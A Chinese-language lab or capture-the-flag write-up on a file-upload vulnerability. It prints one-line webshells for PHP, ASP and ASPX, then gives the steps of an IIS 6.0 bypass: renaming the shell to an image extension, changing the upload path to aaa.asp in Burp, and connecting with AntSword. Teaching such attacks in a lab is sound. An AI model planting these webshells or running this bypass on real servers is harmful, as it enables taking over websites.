内部文件上传系统漏洞分析溯源
文件上传漏洞
介绍
文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。
原理
文件上传漏洞是web安全中经常用到的一种漏洞形式。是对数据与代码分离原则的一种攻击。上传漏洞顾名思义,就是攻击者上传了一个可执行文件如木马,病毒,恶意脚本,WebShell等到服务器执行,并最终获得网站控制权限的高危漏洞。
一句话木马
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
具体这里Web安全-一句话木马
解题
进入靶场
看到有一个文件上传界面
首先我们需要检查一下前端看一下有没有前端验证。
没有前端验证
尝试传入一个txt
上传路径居然是个.asp
当你上传的木马如asp/aspx,必须在IIS6.0环境,且在以x.asp为名称的文件夹下面,才能执行图片里的代码,也就是说,图片木马执行必须满足2个条件:A:你可以自建x.asp文件夹;B:你需要上传图片木马到x.asp文件夹下;其实,如果网站没有IDS,WAF,webshell查杀工具等等的对文件真正属性的检查,你也可以不使用图片一句话,你也可以直接将asp/aspx小马的后缀直接修改为JPG or PNG等等,然后上传;为什么呢?因为现在只有网站应用程序在检查文件的后缀,并没有检查文件真正的属性,然后就是没有防火墙如:IDS,WAF等,自然而然也就可以绕过并上传,但前提还是,你必须能在服务器自建x.asp文件夹才行,并把马上传到x.asp文件夹之下,而且上传之后服务器没有webshell查杀工具等等的防御。
所以我们直接实操
编写一句话木马
开启bp的拦截模式
更改上传路径为aaa.asp,然后发送数据包
然后掏出蚁剑